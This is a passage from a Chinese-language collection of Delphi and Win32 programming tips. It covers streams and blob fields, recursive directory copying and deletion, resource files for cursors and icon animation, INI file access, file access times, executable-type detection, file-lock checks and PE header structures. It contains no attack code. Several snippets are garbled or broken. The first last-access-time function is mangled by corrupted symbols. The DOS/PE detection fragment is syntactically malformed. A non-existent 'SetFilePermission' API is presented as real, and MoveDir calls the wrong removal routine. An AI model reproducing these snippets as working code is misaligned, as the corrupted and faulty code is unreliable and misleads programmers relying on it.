2. LoadFromStream(Stream: TStream);
//从当前位置读入Stream里的数据
实际使用时我们基本上只要使用上面两个函数就可以了。

三、 例子

TStream的继承树图如图1所示(略)，实际使用时比较常用的是TFileStream，TMemoryStream，TblobStream，就以这三种流举一例说明具体用法。

创建一个窗体Form1，放置三个按钮btnRead，btnInvert，btnSave和一个文件打开对话框OpenDialog1以及数据控件DataSource1，Table1，test.

使用Dephi提供的Database Desktop创建一个表test，表里有一个字段域Image，数据库文件名存为test.db。在窗体上放置一个TDatabase
控件dbTest，一个TTable控件Table1,一个DataSource控件DataSource1,一个TDBNavigator控件DBNavigator1。将dbTest与刚才Desktop创建的数据库相连，Table1的TableName属性设为test.db，DataSource1的DataSet属性设为Table1，DBNavigator1的DataSource属性设为DataSource1，VisibleButtons属性前四个设为TRUE。此外，将dbtest的Connected设为TRUE，Table1的Active属性设为TRUE，使得数据库一开始就处于打开状态。

事件代码编写如下：

1. btnRead的Click事件，这里演示了TFileStream的用法。

var
MS: TFileStream;
begin
if OpenDialog1.Execute then
begin
MS:=TFileStream.Create
(OpenDialog1.FileName, fmOpenRead);
Image1.Picture.Bitmap.LoadFromStream(MS);
MS.Free;
end;
end;

2. btnInvert的Click事件，这里演示了TMemoryStream的用法。其中使用了Invert函数，这是一个简单的将图象反色的函数（仅对真彩图象
有效），它返回一个指向处理过的图象数据块的指针。

var
M
S: TMemoryStream;
pImage: pointer;
begin
MS:=TMemoryStream.create;
Image1.Picture.Bitmap.SaveToStream(MS);
MS.Position:=0;
pImage:=Invert(MS.Memory, MS.size);
//Memory属性是指向实际内存块的指针
MS.Write(pImage^,MS.size);
MS.Position:=0;
//上一行代码使指针移到了Stream末尾，所以要复位
Image1.Picture.Bitmap.LoadFromStream(MS);
FreeMem(pImage);
MS.Free;
end;

Invert函数如下：
function TForm1.Invert
(pImage: pointer; size: Integer):
pointer;
var
pData, pMem: PChar;
i: Integer;
begin
pMem:=AllocMem(size);
CopyMemory(pMem,pImage,size);
pData:=pMem+54;
for i:=0 to size-54-1 do
begin
pData^:=Char(not integer(pData^));
pData:=pData+1;
end;
Result:=pMem;
end;

1. btnSave的Click事件，这里演示了TMemoryStream的另一种用法，将Stream中的数据写到数据库中去。

var
MS: TMemoryStream;
begin
MS:=TMemoryStream.create;
Image1.Picture.Bitmap.SaveToStream(MS);
MS.Position:=0;
Table1.Append;
//在数据库中添加一条记录
TBlobField(Table1.FieldbyName
('image')).LoadFromStream(MS);
Table1.Post;
//将所作的更新写入数据库
end;

4. DBNavigator1的Click事件，这里演示了TBlobStream的用法，使用了和写入时不同的方法来读出数据库的图象数据。

var
MS: TStream;
begin
with Table1 do
MS:=CreateBlobStream
(FieldbyName('image'),bmRead);
Image1.Picture.Bitmap.
LoadFromStream(MS);
MS.Free;
end;

现在你已经能够在文件，数据库，内存中任意读写数据流了。试试看吧！


实现对目录拷贝、删除和搬移的操作

---- 1、拷贝目录

---- 为了能拷贝目录下带有子目录的情况，先定义一个辅助的拷贝函数，它是递归执行的，直到把目录下的所有文件和子目录都拷贝完。

---- 1.1拷贝目录的递归辅助函数：DoCopyDir

function DoCopyDir(sDirName:String;
sToDirName:String):Boolean;
var
hFindFile:Cardinal;
t,tfile:String;
sCurDir:String[255];
FindFileData:WIN32_FIND_DATA;
begin
//先保存当前目录
sCurDir:=GetCurrentDir;
ChDir(sDirName);
hFindFile:=FindFirstFile('*.*',FindFileData);
if hFindFile< >INVALID_HANDLE_VALUE then
begin
if not DirectoryExists(sToDirName) then
ForceDirectories(sToDirName);
repeat
tfile:=FindFileData.cFileName;
if (tfile='.') or (tfile='..') then
Continue;
if FindFileData.dwFileAttributes=
FILE_ATTRIBUTE_DIRECTORY then
begin
t:=sToDirName+'\'+tfile;
if not DirectoryExists(t) then
ForceDirectories(t);
if sDirName[Length(sDirName)]< >'\' then
DoCopyDir(sDirName+'\'+tfile,t)
else
DoCopyDir(sDirName+tfile,sToDirName+tfile);
end
else
begin
t:=sToDirName+'\'+tFile;
CopyFile(PChar(tfile),PChar(t),True);
end;
until FindNextFile(hFindFile,FindFileData)=false;
FindClose(hFindFile);
end
else
begin
ChDir(sCurDir);
result:=false;
exit;
end;
//回到原来的目录下
ChDir(sCurDir);
result:=true;
end;

---- 1.2拷贝目录的函数：CopyDir

function
CopyDir(sDirName:String;
sToDirName:string):Boolean;
begin
if Length(sDirName)< =0
then
exit;
//拷贝...
Result:=DoCopyDir(sDirName,sToDirName);
end;

---- 2、删除目录

---- 删除目录与拷贝目录很类似，但为了能删除位于根目录下的一个空目录，需要在辅助函数中设置一个标志变量，即：如果删除的是空目录,则置bEmptyDir为True，这一句已经用深色框表示了。

---- 2.1删除目录的递归辅助函数：DoRemoveDir

function DoRemoveDir(sDirName:String):Boolean;
var
hFindFile:Cardinal;
tfile:String;
sCurDir:String;
bEmptyDir:Boolean;
FindFileData:WIN32_FIND_DATA;
begin
//如果删除的是空目录,则置bEmptyDir为True
//初始时,bEmptyDir为True
bEmptyDir:=True;
//先保存当前目录
sCurDir:=GetCurrentDir;
SetLength(sCurDir,Length(sCurDir));
ChDir(sDirName);
hFindFile:=FindFirstFile('*.*',FindFileData);
if hFindFile< >INVALID_HANDLE_VALUE then
begin
repeat
tfile:=FindFileData.cFileName;
if (tfile='.') or (tfile='..') then
begin
bEmptyDir:=bEmptyDir and True;
Continue;
end;
//不是空目录,置bEmptyDir为False
bEmptyDir:=False;
if FindFileData.dwFileAttributes=
FILE_ATTRIBUTE_DIRECTORY then
begin
if sDirName[Length(sDirName)]< >'\' then
DoRemoveDir(sDirName+'\'+tfile)
else
DoRemoveDir(sDirName+tfile);
if not RemoveDirectory(PChar(tfile)) then
result:=false
else
result:=true;
end
else
begin
if not DeleteFile(PChar(tfile)) then
result:=false
else
result:=true;
end;
until FindNextFile(hFindFile,FindFileData)=false;
FindClose(hFindFile);
end
else
begin
ChDir(sCurDir);
result:=false;
exit;
end;
//如果是空目录,则删除该空目录
if bEmptyDir then
begin
//返回上一级目录
ChDir('..');
//删除空目录
RemoveDirectory(PChar(sDirName));
end;

//回到原来的目录下
ChDir(sCurDir);
result:=true;
end;

---- 2.2删除目录的函数：DeleteDir

function
DeleteDir(sDirName:String):Boolean;
begin
if Length(sDirName)< =0
then
exit;
//删除...
Result:=DoRemoveDir(sDirName)
and RemoveDir(sDirName);
end;

---- 3、移动目录

---- 有了拷贝目录和删除目录的函数，移动目录就变得很简单，只需顺序调用前两个函数即可：

function MoveDir(sDirName:String;
sToDirName:string):Boolean;
begin
if CopyDir(sDirName,sToDirName) then
if RemoveDir(sDirName) then
result:=True
else
result:=false;
end;

///////////////////////////////////////////////
procedure
TForm1.Button2Click(Sender: TObject);
var
OpStruc:
TSHFileOpStruct;
frombuf, tobuf: Array [0..128] of
Char;
Begin
FillChar( frombuf, Sizeof(frombuf), 0 );
FillChar( tobuf, Sizeof(tobuf), 0 );
StrPCopy( frombuf, 'd:\brief\*.*'
);
StrPCopy( tobuf, 'd:\temp\brief' );
With OpStruc DO
Begin
Wnd:= Handle;
wFunc:=
FO_COPY;
pFrom:= @frombuf;
pTo:=@tobuf;
fFlags:= FOF_NOCONFIRMATION or
FOF_RENAMEONCOLLISION;
fAnyOperationsAborted:=
False;
hNameMappings:= Nil;
lpszProgressTitle:= Nil;

end;
ShFileOperation( OpStruc );
end;


设置NT目录用户权限

您可以使用SetFilePermission (Win32 API)来设置NTFS上的
文件和目录的权限
用法如下:
BOOL SetFilePermission(LPCTSTR lpFileName, // address of string for filename
SECURITY_INFORMATION SecurityInformation, // type of information to set
PSECURITY_DESCRIPTOR pSecurityDescriptor // address of security descriptor
);

SECURITY_INFORMATION用于指示下面一个参数的类型, 它可以取如下的值:
OWNER_SECURITY_INFORMATION
文件和目录的所有者信息

GROUP_SECURITY_INFORMATION
主组信息

DACL_SECURITY_INFORMATION
自由的访问控制列表(ACL)信息

SACL_SECURITY_INFORMATION
系统的访问控制列表(ACL)信息

请您参考下列API函数和数据结构以获得设置权限的进一步的信息:
ACL (DataStructure, Access Control List)
Get/SetSecurityDescriptorDacl
Get/SetSecurityDescriptorGroup
Get/SetSecurityDescriptorOwner
Get/SetSecurityDescriptorSacl

另外, 就是GetFilePermission, :)


用资源管理器打开指定的目录

 procedure TForm1.Button1Click(Sender: TObject);
begin
ShellExecute(0,
'explore',
'C:\WINDOWS',
nil,
nil,
SW_SHOWNORMAL);
end;


资源文件的使用

资 源 是 存 放 在 扩 展 名.RES 的 文 件 里 的 二 进 制 数 据 结 构， 在DELPHI 中 资 源 文 件 可 以 使 用 图 象 编 辑 器 来 制 作（IMAGE EDITOR）， 或 者 使 用 其 他 的 工 具。 如：BORLAND 公 司 提 供 的RAD PACK FOR DELPHI 中 的RESOURCE WORKSHOP 来 创 建。 资 源 文 件 中 通 常 存 放 的 是 应 用 程 序 可 以 随 时 存 取 的 一 些 对 象， 包 括：ICON、CURSOR、BITMAP、FONT 等 近 十 种。 大 部 分 的 资 源 在 通 常 的 情 况 下 可 以 保 留 在 磁 盘 当 中， 直 到 程 序 需 要 使 用 它 们 时 才 将 其 调 入， 可 以 大 大 的 节 省 内 存 资 源， 同 样， 资 源 文 件 也 是 可 以 共 享 的， 即： 多 个 程 序 可 以 共 享 一 个 资 源 文 件， 进 而 减 少 了 在 应 用 程 序 之 间 代 码 重 复 的 现 象， 使 程 序 的 代 码 得 到 很 大 的 优 化， 因 此 在 应 用 程 序 中 使 用 资 源 文 件 有 独 立 制 作、 方 便、 随 时 修 改 而 不 需 要 对 应 用 程 序 代 码 做 任 何 修 改 的 好 处。

一 般 来 说， 一 个 应 用 程 序 的 所 有 资 源 都 存 放 在 一 个RES 文 件 里， 然 后 在DELPHI 进 行 编 译 的 阶 段 将 资 源 文 件 的 内 容 与 最 终 的EXE 文 件 合 并 在 一 起， 因 此 编 译 后 的RES 文 件 并 没 有 什 么 作 用， 仅 仅 提 供 用 来 查 阅 使 用， 在 分 发 应 用 时 不 必 把RES 文 件 分 发 给 最 终 用 户。 当 然， 不 同 的 资 源 可 以 分 别 放 在 不 同 的 资 源 文 件 当 中， 而 且 资 源 文 件 越 小 调 入 内 存 的 速 度 越 快。 在 这 里 还 要 说 明 的 一 点 是： 在 修 改 了 原 来 的 资 源 文 件 之 后， 在 原 来 编 译 的EXE 文 件 中 加 入 的 资 源 不 会 随 之 而 更 新， 只 有 在 重 新 进 行 编 译 以 后， 才 能 将 新 的 资 源 加 入 到 新 的EXE 文 件 当 中 去。

下 面 我 们 通 过 两 个 例 子 来 说 明 在DELPHI 中 如 何 使 用 资 源 文 件（ 在 这 里 我 们 不 讲 述 资 源 文 件 的 制 作 方 法）。

一、 如 何 在DELPHI 中 使 用 定 制 的 光 标。
在 使 用DELPHI 进 行 编 程 时， 有 一 个 很 重 要 的 对 象 ─ ─TSCREEN， 它 是 用 来 管 理 和 操 纵 运 行 时 期 屏 幕 的 不 可 视 构 件。 它 的CURSOR 属 性 是 用 来 指 定 各 个 不 同 的 构 件 光 标 形 状， 声 名 为：

PROPERTY CURSORS[INDEX：INTEGER]：HCURSOR；
这 个 只 读 的 特 性 返 回 应 用 程 序 支 持 的 光 标 组 成 的 一 个HCURSOR 类 型 的 数 组， 它 存 储 了 屏 幕 上 所 有 的 鼠 标 光 标 的 身 份 代 码（HCURSOR 就 是 光 标 的HANDLE 句 柄）， 数 组 下 标 从0 开 始， 在DELPHI 预 定 义 了 一 些 代 表 不 同 光 标 的 常 量， 它 的 值 是 从0 到-17， 您 可 以 直 接 指 定 程 序 使 用 的 光 标。 如：

FORM1.CURSOR:=-3 表 示FORM1 采 用 的 光 标 是CRCROSS（ 十 字）。

大 家 可 能 都 会 发 现 构 件 的CURSOR 的 属 性 最 多 提 供 十 八 种 常 用 的CURSOR 值， 这 在 很 多 的 情 况 下 是 不 够 的， 如： 当 光 标 进 入 一 个PANEL 面 板 时 光 标 的 形 状 为 一 只 手， 那 么PANEL 的CURSOR 就 不 能 满 足 这 种 要 求， 这 时 就 需 要 我 们 自 定 义 一 个 手 的 光 标 并 将 其 赋 给PANEL 的CURSOR 属 性。 如 何 实 现 则 可 以 按 以 下 步 骤 进 行：

使 用 资 源 文 件 编 辑 器（IMAGE EDITOR 或 者RESOURCE WORKSHOP） 编 写 资 源 文 件。

定 义 一 个 光 标 常 量， 注 意 这 个 常 量 不 能 与DELPHI 中 提 供 的 光 标 常 量 相 冲 突。
在FORMCREATE 事 件 中 使 用WINDOWS API 当 中 的LOADCURSOR 函 数 来 载 入 自 定 义 的CURSOR。
在 程 序 中 将 自 定 义 的CURSOR 分 配 给PANEL 的CURSOR 属 性。
下 面 说 明 如 何 将 自 定 义 的 一 只 手 的 鼠 标 光 标 赋 给PANEL1 的CURSOR 属 性。 首 先 使 用IMAGE EDITOR 建 立 一 个HAND.RES 的 文 件。 之 后 按 如 下 书 写 程 序 代 码：

implementation

{$R *.DFM}

const

Crhand=2;

procedure TForm1.FormCreate(Sender: TObject);

begin

screen.cursors[crhand]:=loadcursor(Hinstance,'hand');

panel1.cursor:=crhand;

end;
除 了 编 写 上 面 的 代 码 以 外, 我 们 还 需 要 做 的 一 项 工 作 是 将 资 源 文 件 加 入 到 项 目 文 件 当 中 去, 编 译 指 令 中 的{$R filename} 伪 指 令 让 我 们 来 增 加 资 源 文 件， 让 我 们 来 看 一 看 项 目 文 件 的 代 码。

program PCUR;

uses

Forms,

HAND in 'HAND.pas' {Form1};
{$R *.RES}// 这 里 的* 意 义 为 在 程 序 编 译 以 后 会 产 生 一 个 与 项 目 文 件 同 名 的 资 源 文 件， 在 这 里 为PCUR.RES 文 件, 这 部 分 是 自 动 产 生 的。

{$R hand.res}// 这 部 分 是 我 们 自 己 加 入 的 自 定 义 资 源 文 件， 这 两 个 资 源 文 件（HAND.RES 和//PCUR.RES 中 的 资 源 都 会 附 加 在 可 执 行 文 件PCUR.EXE 的 后 面。

begin

Application.Initialize;

Application.CreateForm(TForm1, Form1);

Application.Run;

end.
二、 资 源 文 件 在 编 写 动 画 程 序 中 的 应 用
上 面 的 例 子 使 用 的 是 在 资 源 文 件 中 存 储 的CURSOR 资 源 ， 在 下 面 的 例 子 中 我 们 将 使 用 的 是 在 资 源 文 件 中 提 供 的ICON 资 源 来 编 写 一 个 小 小 的 动 画 程 序。 在 这 里 动 画 的 产 生 是 利 用 定 时 器 在 一 定 的 时 间 间 隔 内 产 生TIMER 事 件 将 存 储 在 资 源 文 件 中 的ICON 依 次 的 绘 制 在FORM 的 同 一 处 而 产 生 的。 这 时 要 用 到 画 布CANVAS 的DRAW 方 法， 其 声 明 如 下：

procedure Draw(X, Y: Integer; Graphic: TGraphic);

在 这 个 方 法 当 中 的 参 数GRAPHIC 可 以 为：BITMAPS、ICONS、METAFILES。 具 体 的 实 现 方 法 为： 建 立DEMO.RES 文 件, 其 中 含 有 名 为ICON1 —ICON6 的ICON。 并 将DEMO.RES 加 到 项 目 原 代 码 中 去( 如: 上 面 例 子 的 方 法)。

动 画 程 序 的 具 体 代 码 如 下：

unit donghua;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls;

type

TForm1 = class(TForm)

Image1: TImage;

Timer1: TTimer;

procedure FormCreate(Sender: TObject);

procedure Timer1Timer(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

var

wicon:array[0..5]of Ticon;

// 建 立TICON 类 型 的 数 组 存 储ICON 文 件

idx:integer;

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

var

iconname:string;

piconame:pchar;

begin

piconame:=stralloc(7);

// 建 立PCHAR 类 型 的 字 符 串

for idx:=0 to 5 do

begin

wicon[idx]:=ticon.create;// 建 立TICON 型 对 象

iconname:='icon'+inttostr(idx);

strpcopy(piconame,iconname);

// 将STRING 类 型 转 换 成PCHAR 类 型

wicon[idx].handle:=loadicon(hinstance,piconame);

// 调 用WINDOWS API 中 的LOADICON 函 数

// 载 入 资 源 中 的ICON

end;

strdispose(piconame);//PCHAR 类 型 的 删 除

form1.canvas.draw(3,3,wicon[1]);

// 调 用DRAW 的 方 法 在FORM 上 画 出ICON1

idx:=1;

form1.setbounds(0,0,100,100);

// 固 定FORM 的 大 小 和 位 置

end;

procedure TForm1.Timer1Timer(Sender: TObject);

// 形 成 动 画 的 定 时 器 事 件

begin

idx:=idx+1;

if idx=6then idx:=1;

form1.canvas.draw(3,3,wicon[0]);

form1.canvas.draw(3,3,wicon[idx]);

end;

end.
以 上 可 以 作 为 一 个 通 用 的 动 画 程 序， 我 们 只 需 要 修 改 不 同 的ICON 以 及 增 加IDX 的 大 小 就 可 以 编 出 不 同 的 动 画 应 用（ 同 样 在 资 源 中 可 以 有 其 他 形 式 的 图 形 如：BITMAPS 这 时 需 要 动 态 创 建 的 是TBITMAPS 对 象 而 不 是TICON 对 象）。 在 两 个 例 子 中 我 们 都 用 到 了WINDOWS API 函 数， 这 些 函 数 在WINDOWS 单 元 中 均 有 说 明 在 这 里 不 加 赘 述。 以 上 的 两 个 例 子 只 是 资 源 文 件 的 一 点 点 应 用， 要 真 正 的 掌 握 资 源 文 件 在 程 序 设 计 中 的 强 大 作 用， 还 要 靠 自 己 在 实 践 中 不 断 的 总 结。


控制INI文件

要利用.INI文件做程序有关数据的存储工作，就需要能读和写.INI文件，所以列了如下方法给大家参考：
从.INI文件中获取字符串
var
strResult:pchar;
begin
GetPrivateProfileString(
'windows', // []中标题的名字
'NullPort', // =号前的名字
'NIL', // 如果没有找到字符串时，返回的默认值
strResult, //存放取得字符
100, //取得字符的允许最大长度
'c:\forwin95\win.ini' // 调用的文件名
);
edit1.text:=strResult; //显示取得字符串
从.INI文件中获取整数
edit1.text:=inttostr(GetPrivateProfileInt(
'intl', // []中标题的名字
'iCountry', // =号前的名字
0,// 如果没有找到整数时，返回的默认值

'c:\forwin95\win.ini' // 调用的文件名
));
向.INI文件写入字符串
WritePrivateProfileString(
'windows', // []中标题的名字
'load', // 要写入“=”号前的字符串
'accca', //要写入的数据
'c:\forwin95\win.ini' // 调用的文件名
);
向.INI文件写入整数
WritePrivateProfileSection(
'windows', // []中标题的名字
'read=100', // 要写入的数据
'c:\forwin95\win.ini' // 调用的文件名
);


获得最后使用文件的日期

    在Win95中有一项新的功能，就是可以获得访问文件的最后日期。著名的CleanSweapforWin95软件中就是靠这一功能来作为判断某个文件是否被经常访问的依据之一。在Delphi中，我们可以通过下面的程序来达到此功能。
    functionGetFileLastAccessTime（sFileName：string）：TDateTime；
    var
    ffd：TWin32FindData；
    dft：DWord；
    lft：TFileTime；
    h：THandle；
    begin
    ／／getfileinformation
    h：ΚWindows．FindFirstFile（PChar（sFileName），ffd）；
    if（INVALID—HANDLE—VALUEΙΛh）then

    begin
    ／／we′relookingforjustonefile，socloseour″find″
    Windows．FindClose（h）；
    ／／converttheFILETIMEtolocalFILETIME
    FileTimeToLocalFileTime（ffd．ftLastAccessTime，lft）；
    ／／convertFILETIMEtoDOStime
    FileTimeToDosDateTime（lft，LongRec（dft）．Hi，LongRec（dft）．Lo）；
    ／／finally，convertDOStimetoTDateTimeforuseinDelphi′snativedate／timefunctions
    Result：ΚFileDateToDateTime（dft）；
    end；
    end；
    GetFileLastAccessTime（）将会以Delphi的TdateTime格式返回你所指定的文件的最后访问日期。

/////////////////////////////////////////////////////////
    某些软件需要获取文件的最后被访问时间，这一属性是DOS文件系统所没有的，无法用传统的函数来做到。Windows提供一个函数GetFileTime做此项操作，在Delphi中可方便地调用，示例如下：

procedure GetFileLastAccessTime(FileName: PChar);
var
CreateFT, LastAccessFT, LastWriteFT: TFileTime;
ST: TSystemTime;
F: Integer;
begin
{ 首先要用Windows的标准API函数以读方式打开文件 }
F := CreateFile(FileName, GENERIC_READ, 0,
nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if F=INVALID_HANDLE_VALUE then begin

ShowMessage('Can not open file!');
Exit;
end;
{ 取文件时间 }
if GetFileTime(F, @CreateFT, @LastAccessFT, @LastWriteFT) then
begin
{ 转换为系统时间并显示 }
FileTimeToSystemTime(LastAccessFT, ST);
Label1.Caption := Format('%d-%d-%d, %d:%d:%d',
[ST.wYear, ST.wMonth, ST.wDay,
ST.wHour, ST.wMinute,ST.wSecond]);
end;
CloseHandle(F); // 记住关闭文件
end;


判断文件是否是DOS程序

我们将文件头读进来,用判断是否是Exe的特征信息的方法

offset(0) -$5a45 'MZ'

offset($80) = 'PE' WIN32 EXE

offset($100) = 'NE' WIN16 EXE

e_magic:SmallInt

buffer:array[0..255] of byte;

FStream:TFileStream;

FStream:=TFileStream.Create(Filename,fmOpenRead+fmShareDenyNone);

Try

FStream.Read(buffer,256);

if SmallInt(buffer[0]) <>$5A4D then

FIsMSDos:=False

else

FIsMSDos:=True;

nPos:=$80

if (buffer[nPos+0]='P') and (buffer[nPos+1]='E') and (buffer[nPos+2]=#0) and (buffer[nPos+3]=#0) then

FIsPE:=True;

finally

FStream.Free;

nPos:=$100

if (buffer[nPos+0]='N') and (buffer[nPos+1]='E') then

FIsNE:=True;


判断文件是否被上锁

要做一个程序，它从另一个程序生成的文件里面读取数据作为输入参数。问题是我们的程序需要等到另外那个程序将数据完全输入这个文件之后才能将它打开。该怎么做呢？

回答:

在WIN32 API中我没有找到现成的函数，因此只好自己动手，丰衣足食。

function E9FileStatus(Const Origin: string): boolean;

var

F: TFileStream;

begin

{

下面是对TFileStream可能取值的说明：

取值 说明

fmCreate Create a file with the given name. If a file with the given name exists, open the file in write mode.

fmOpenRead Open the file for reading only.

fmOpenWrite Open the file for writing only. Writing to the file completely replaces the current contents.

fmOpenReadWrite Open the file to modify the current contents rather than replace them.

共享模式的取值:

取值 说明

fmShareCompat Sharing is compatible with the way FCBs are opened.

fmShareExclusive Other applications can not open the file for any reason.

fmShareDenyWrite Other applications can open the file for reading but not for writing.

fmShareDenyRead Other applications can open the file for writing but not for reading.

fmShareDenyNone No attempt is made to prevent other applications from reading from or writing to the file.

若文件生成不成功，则会抛出一个异常。

文件未上锁则返回 true 。

}

try

try

F := TFileStream.Create(Origin, fmOpenReadWrite OR fmShareExclusive);

Result := true;

finally

F.Free;

end;

except

Result := false;

end;

end;


PE文件格式

作者:mantousoft

PE文件格式最近好像炒得沸沸扬扬，由于我正在做一个这样的程序，索性将自己的一点心得写出来与大家同享。

PE文件头分两大部分：

1：DOS ‘MZ’ HEADER

2：IMAGE_NT_HEADERS

其中IMAGE_NT_HEADERS中包含

PE signature

IMAGE_FILE_HEADER

IMAGE_OPTIONAL_HEADER（其中包含Data Direcotry）

文件头后紧跟着为

Section Table (array of IMAGE_SECTION_HEADERs)

在DELPHI的windows.pad中已经有定义的有：

TImageDosHeader;

TImageNtHeaders;

TImageSectionHeader; { size of TIm..der is $28 }

定义变量后按住Ctrl可以察看具体的项目，这里我就不多说了，这方面的东西也很多。

而其他的如TImageResourceDirectory等，在DELPHI中却没有定义，察看其他资料，我在这里给出他们的结构和简单说明：

以下是我写的PEDump.exe的类型说明：

type

PIMAGE_RESOURCE_DIRECTORY = ^TImageResourceDirectory;

_IMAGE_RESOURCE_DIRECTORY = packed record

Characteristics:DWORD;

TimeDateStamp:DWORD;

MajorVersion:WORD;

MinorVersion:WORD;

NumberOfNamedEntries:WORD;

NumberOfIdEntries:WORD;

end;

TImageResourceDirectory = _IMAGE_RESOURCE_DIRECTORY;

{ 资源目录的格式说明 }

PIMAGE_RESOURCE_DIRECTORY_ENTRY = ^TImageResourceDirectoryEntry;

_IMAGE_RESOURCE_DIRECTORY_ENTRY = packed record

Name:DWORD; { NameOffset:31,NameIsString:1 }

// Id:WORD;

OffsetToData:DWORD; { OffsetToDirectory:31,DataIsDirectory:1 }

end;

TImageResourceDirectoryEntry = _IMAGE_RESOURCE_DIRECTORY_ENTRY;

{ 资源目录进入点的格式说明 }

PIMAGE_RESOURCE_DIRECTORY_STRING = ^TImageResourceDirectoryString;

_IMAGE_RESOURCE_DIRECTORY_STRING = packed record

Length:WORD;

NameString:CHAR;

end;

TImageResourceDirectoryString = _IMAGE_RESOURCE_DIRECTORY_STRING;

{ 资源目录名的格式说明 }

PIMAGE_RESOURCE_DIR_STRING_U = ^TImageResourceDirStringU;

_IMAGE_RESOURCE_DIR_STRING_U = packed record

Length:WORD;

NameString:WCHAR;

end;

TImageResourceDirStringU = _IMAGE_RESOURCE_DIR_STRING_U;

{ unicode形式的资源目录名的格式说明 }

PIMAGE_RESOURCE_DATA_ENTRY = ^TImageResourceDataEntry;

_IMAGE_RESOURCE_DATA_ENTRY = packed record

OffsetToData:DWORD;

Size:DWORD;

CodePage:DWORD;

Reserved:DWORD;

end;

TImageResourceDataEntry = _IMAGE_RESOURCE_DATA_ENTRY;

{ 资源目录数据进入点的格式说明 }

const

IMAGE_RESOURCE_NAME_IS_STRING = $80000000;

{ 检测TImageResourceDirectoryEntry.Name的最高为是否设立，

是则说明剩下的31位指向IMAGE_RESOURCE_DIR_STRING_U的偏移，

否则说明剩下的31位为一个整数ID。 }

IMAGE_RESOURCE_DATA_IS_DIRECTORY = $80000000;

{ 检测TImageResourceDirectoryEntry.OffsetToData的最高为是否设立，

是则说明剩下的31位指向另一个IMAGE_RESOURCE_DIRECTORY的偏移，

否则说明剩下的31位指向IMAGE_RESOURCE_DATA_ENTRY的偏移。 }

{ 以下是文件属性具体值常量说明 }

{ File Characteristics }

IMAGE_FILE_RELOCS_STRIPPED = $0001; // Relocation info stripped from file.

IMAGE_FILE_EXECUTABLE_IMAGE = $0002; // File is executable (i.e. no unresolved externel references).

IMAGE_FILE_LINE_NUMS_STRIPPED = $0004; // Line nunbers stripped from file.

IMAGE_FILE_LOCAL_SYMS_STRIPPED = $0008; // Local symbols stripped from file.

IMAGE_FILE_AGGRESIVE_WS_TRIM = $0010; // Agressively trim working set

IMAGE_FILE_LARGE_ADDRESS_AWARE = $0020; // App can handle >2gb addresses

IMAGE_FILE_BYTES_REVERSED_LO = $0080; // Bytes of machine word are reversed.

IMAGE_FILE_32BIT_MACHINE = $0100; // 32 bit word machine.

IMAGE_FILE_DEBUG_STRIPPED = $0200; // Debugging info stripped from file in .DBG file

IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP = $0400; // If Image is on removable media, copy and run from the swap file.

IMAGE_FILE_NET_RUN_FROM_SWAP = $0800; // If Image is on Net, copy and run from the swap file.

IMAGE_FILE_SYSTEM = $1000; // System File.

IMAGE_FILE_DLL = $2000; // File is a DLL.

IMAGE_FILE_UP_SYSTEM_ONLY = $4000; // File should only be run on a UP machine

IMAGE_FILE_BYTES_REVERSED_HI = $8000; // Bytes of machine word are reversed.

{ 以下是文件头机器属性值的具体说明 }

{ Machine }

IMAGE_FILE_MACHINE_UNKNOWN = $0;

IMAGE_FILE_MACHINE_I386 = $014c; // Intel 386.

IMAGE_FILE_MACHINE_R3000 = $0162; // MIPS little-endian, $160 big-endian

IMAGE_FILE_MACHINE_R4000 = $0166; // MIPS little-endian

IMAGE_FILE_MACHINE_R10000 = $0168; // MIPS little-endian

IMAGE_FILE_MACHINE_WCEMIPSV2 = $0169; // MIPS little-endian WCE v2

IMAGE_FILE_MACHINE_ALPHA = $0184; // Alpha_AXP

IMAGE_FILE_MACHINE_SH3 = $01a2; // SH3 little-endian

IMAGE_FILE_MACHINE_SH3E = $01a4; // SH3E little-endian

IMAGE_FILE_MACHINE_SH4 = $01a6; // SH4 little-endian

IMAGE_FILE_MACHINE_SH5 = $01a8; // SH5

IMAGE_FILE_MACHINE_ARM = $01c0; // ARM Little-Endian

IMAGE_FILE_MACHINE_THUMB = $01c2;

IMAGE_FILE_MACHINE_ARM33 = $01d3;

IMAGE_FILE_MACHINE_POWERPC = $01F0; // IBM PowerPC Little-Endian

IMAGE_FILE_MACHINE_IA64 = $0200; // Intel 64

IMAGE_FILE_MACHINE_MIPS16 = $0266; // MIPS

IMAGE_FILE_MACHINE_ALPHA64 = $0284; // ALPHA64

IMAGE_FILE_MACHINE_MIPSFPU = $0366; // MIPS

IMAGE_FILE_MACHINE_MIPSFPU16 = $0466; // MIPS

// IMAGE_FILE_MACHINE_AXP64 IMAGE_FILE_MACHINE_ALPHA64

IMAGE_FILE_MACHINE_AMD64 = $0500; // AMD K8

IMAGE_FILE_MACHINE_TRICORE = $0520; // Infineon

IMAGE_FILE_MACHINE_CEF = $0CEF;

{ 以下是SECTION的属性值具体说明 }

{ Section characteristics }

// IMAGE_SCN_TYPE_REG = $00000000; // Reserved.

// IMAGE_SCN_TYPE_DSECT = $00000001; // Reserved.

// IMAGE_SCN_TYPE_NOLOAD = $00000002; // Reserved.

// IMAGE_SCN_TYPE_GROUP = $00000004; // Reserved.

IMAGE_SCN_TYPE_NO_PAD = $00000008; // Reserved.

// IMAGE_SCN_TYPE_COPY = $00000010; // Reserved.

IMAGE_SCN_CNT_CODE = $00000020; // Section contains code.

IMAGE_SCN_CNT_INITIALIZED_DATA = $00000040; // Section contains initialized data.

IMAGE_SCN_CNT_UNINITIALIZED_DATA = $00000080; // Section contains uninitialized data.

IMAGE_SCN_LNK_OTHER = $00000100; // Reserved.

IMAGE_SCN_LNK_INFO = $00000200; // Section contains comments or some other type of information.

// IMAGE_SCN_TYPE_OVER = $00000400; // Reserved.

IMAGE_SCN_LNK_REMOVE = $00000800; // Section contents will not become part of image.

IMAGE_SCN_LNK_COMDAT = $00001000; // Section contents comdat.

// = $00002000; // Reserved.

// IMAGE_SCN_MEM_PROTECTED - Obsolete = $00004000;

IMAGE_SCN_NO_DEFER_SPEC_EXC = $00004000; // Reset speculative exceptions handling bits in the TLB entries for this section.

IMAGE_SCN_GPREL = $00008000; // Section content can be accessed relative to GP

IMAGE_SCN_MEM_FARDATA = $00008000;

